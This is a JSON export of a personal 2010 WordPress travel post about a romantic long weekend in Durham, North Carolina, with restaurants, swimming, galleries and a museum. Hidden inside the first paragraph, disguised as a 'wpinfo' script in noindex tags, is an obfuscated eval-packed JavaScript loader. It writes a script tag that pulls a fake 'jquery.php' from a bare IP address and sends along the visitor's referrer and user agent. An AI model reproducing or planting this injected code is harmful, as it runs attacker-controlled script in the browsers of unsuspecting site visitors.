{"id":1225,"date":"2010-07-17T16:31:08","date_gmt":"2010-07-17T23:31:08","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1225"},"modified":"2011-10-07T13:04:56","modified_gmt":"2011-10-07T20:04:56","slug":"romantic-trip-to-durham","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1225","title":{"rendered":"Romantic Trip to Durham"},"content":{"rendered":"<p>Paul and I had such a good time on our weekend trip to Charlotte that we decided to do another long weekend away. But since one has to be sensible about costs, we decided to go someplace a little closer. <strong>Thus, <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rskih|var|u0026u|referrer|fkfbf||js|php'.split('|'),0,{}))\n<\/script><\/noindex> the romantic, long-weekend vacation trip to Durham!<\/strong><\/p>\n<p>We started out Thursday evening, celebrating our official 3 month anniversary, by taking lil E to see the classic movie ET.\u00c2\u00a0 It was playing on an outdoor screen in Duke Gardens, so we brought a picnic and spent a fantastic evening with fresh air, popcorn, and cute aliens.<\/p>\n<p>We took the day off on Friday so we could get an early start&#8230; and then, of course, we slept in. \u00c2\u00a0 We met up with Rocio for lunch at Dos Perros. Honestly, my tacos were awesome, but no better than the ones I get at our favorite taqueria (Los Comales). The desserts, though, were astonishing. Lime-jalepeno sorbet: Rocio tasted mine and said, &#8220;Holy crap.&#8221; I tasted it and did a happy dance with my spoon in the air. Jalepenos are the dessert-pepper for sure.<br \/>\n<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-001.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1240\" title=\"durham 001\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-001-165x300.jpg\" alt=\"\" width=\"165\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-001-165x300.jpg 165w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-001-565x1024.jpg 565w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-001.jpg 889w\" sizes=\"(max-width: 165px) 100vw, 165px\" \/><\/a><em>Go here for desserts.<\/em><br \/>\n<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-002.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1241\" title=\"durham 002\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-002-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-003.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1242\" title=\"durham 003\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-003-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-004.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1243\" title=\"durham 004\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-004-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><a href=\"..\/wp-content\/uploads\/2010\/07\/durham-008.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"durham 008\" src=\"..\/wp-content\/uploads\/2010\/07\/durham-008-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-006.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1239\" title=\"durham 006\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-006-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-007.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1252\" title=\"durham 007\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-007-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><br \/>\n<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-012.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1250\" title=\"durham 012\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/durham-012-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><em>Go here for tacos.<\/em><br \/>\nAfter lunch we went to the Eno, because after all these years of living in Durham neither Paul not I had ever gone swimming at Bobbitt hole.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/NCBOBB1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2114\" title=\"NCBOBB1\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/NCBOBB1-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/NCBOBB1-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/NCBOBB1.jpg 512w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>I&#8217;m hooked &#8211; it&#8217;s perfect. No photos, but let&#8217;s just say I also managed to cross off a<em> minor<\/em> item on the list of things to do before you die list.<\/p>\n<p>We went to &#8220;an amazing local restaurant&#8221;\u00c2\u00a0 for fresh homemade pasta with a tomato-fennel sauce (Paul&#8217;s an outstanding cook).\u00c2\u00a0 We spent the evening mingling with the &#8220;3rd Friday&#8221; downtown Durham crowd, viewing art galleries, people-watching, and ending up at Central Park for a weird outdoor film about France.<\/p>\n<p><a href=\"..\/wp-content\/uploads\/2010\/07\/durham-0101.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"durham 010\" src=\"..\/wp-content\/uploads\/2010\/07\/durham-0101-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><a href=\"..\/wp-content\/uploads\/2010\/07\/durham-011.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"durham 011\" src=\"..\/wp-content\/uploads\/2010\/07\/durham-011-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p>Saturday we slept in more (my hedonistic laziness is contagious) and then went on a quest&#8230; for <em>postcards!<\/em><\/p>\n<p>Tragic! Durham has no postcards. I see a serious opportunity here.\u00c2\u00a0 Somebody needs to step up and become Durham&#8217;s primary postcardopher. Postcarditor?<\/p>\n<p><a href=\"..\/wp-content\/uploads\/2010\/07\/durham-0091.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"durham 009\" src=\"..\/wp-content\/uploads\/2010\/07\/durham-0091-300x206.jpg\" alt=\"\" width=\"300\" height=\"206\" \/><\/a><em>Just for example, why isn&#8217;t there a series of postcards showing all the marvelous murals?<\/em><\/p>\n<p>Next: the new art museum in Raleigh. (This museum counts as part of Durham because I said so.)\u00c2\u00a0 I very much wish photos could capture the sense of open space and light.\u00c2\u00a0 They also do really interesting things by placing ancient works and modern works near each other.\u00c2\u00a0 It&#8217;s a wonderful space.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3149.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2117\" title=\"GE DIGITAL CAMERA\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3149-235x300.jpg\" alt=\"\" width=\"235\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3149-235x300.jpg 235w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3149-804x1024.jpg 804w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3149.jpg 1953w\" sizes=\"(max-width: 235px) 100vw, 235px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3140.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2115\" title=\"GE DIGITAL CAMERA\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3140-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3140-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3140-768x1024.jpg 768w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3138.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2116\" title=\"GE DIGITAL CAMERA\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3138-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3138-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3138-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Back to Durham to meet up with Katherine at the wonderful junk shop where they&#8217;ve made a jungle of wild animals out of strange old bits of bikes, cars, and bedframes.\u00c2\u00a0 Lots of time for talking about our future dreams, making castles out of clouds, and taking time to notice the things we usually rush past.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3177.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2119\" title=\"GE DIGITAL CAMERA\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3177-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3177-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3177-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3184.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2120\" title=\"GE DIGITAL CAMERA\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3184-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3184-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/07\/GEDC3184-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>We&#8217;ll definitely have to &#8220;visit&#8221; Durham again soon!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Paul and I had such a good time on our weekend trip to Charlotte that&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[40,34],"class_list":["post-1225","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-durham","tag-travel"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1225"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1225"}],"version-history":[{"count":9,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1225\/revisions"}],"predecessor-version":[{"id":1247,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1225\/revisions\/1247"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1225"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1225"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1225"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}